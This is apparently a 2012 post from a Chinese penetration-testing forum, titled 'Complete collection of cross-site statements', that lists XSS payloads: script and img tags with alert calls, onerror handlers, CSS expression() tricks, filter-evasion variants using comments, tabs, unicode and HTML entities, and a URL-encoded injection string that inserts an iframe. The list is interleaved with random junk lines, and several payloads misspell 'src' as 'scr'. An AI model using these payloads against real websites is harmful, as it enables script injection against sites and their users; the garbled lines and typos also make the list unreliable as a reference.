中国网络渗透测试联盟
标题:
跨站语句大全
[打印本页]
作者:
admin
时间:
2012-9-13 17:15
标题:
跨站语句大全
<script>alert("跨站")</script> (最常用）
, B4 O4 h5 D7 Y; J; @9 Q& \
<img scr=javascript:alert("跨站")></img>
! L% E: p8 r' m9 ~' h
<img scr="javascript: alert(/跨站/)></img>
* M, I4 J& Q4 P- B) R4 H
<img scr="javas????cript:alert(/跨站/)" width=150></img> (?用tab键弄出来的空格）
% E$ K/ S- w, W% P$ i3 z4 z& j( w0 s
<img scr="#" onerror=alert(/跨站/)></img>
, I+ o- B5 ^/ z# h
<img scr="#" style="xss:expression(alert(/xss/));"></img>
9 k3 B1 v) M. ]* X5 E& b/ ]2 u
<img scr="#"/* */onerror=alert(/xss/) width=150></img> (/**/ 表示注释）
- a) g# { ]" v) c! T5 B
<img src=vbscript:msgbox ("xss")></img>
; S/ P( Y4 U1 L7 ]
<style> input {left:expression (alert('xss'))}</style>
( w9 Z/ O4 U, G3 k4 \% a( v0 z. `
<div style={left:expression (alert('xss'))}></div>
( _, Q6 [* d5 S+ W: X
<div style={left:exp/* */ression (alert('xss'))}></div>
1 O2 g3 L+ |# ]& \* _7 r
<div style={left:\0065\0078ression (alert('xss'))}></div>
% V, ?; ^% x3 {8 V
html 实体 <div style={left:&#ｘ0065；xpression (alert('xss'))}></div>
+ p k9 q$ ^# w! ]6 ~3 C
unicode <div style="{left:expRessioN (alert('xss'))}">
( s" o9 L: q- g7 u F
" b; T) M- n* k! y/ G
"]}%3Cscript%3Ealert('By b14ckb0y')%3C/script%3E{[&item="]<iframe%20src=http://new.qzone.qq.com/9530772%20width=400%20height=600></iframe>["
# J2 ^4 |+ e" w9 M; D; W9 I! a
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2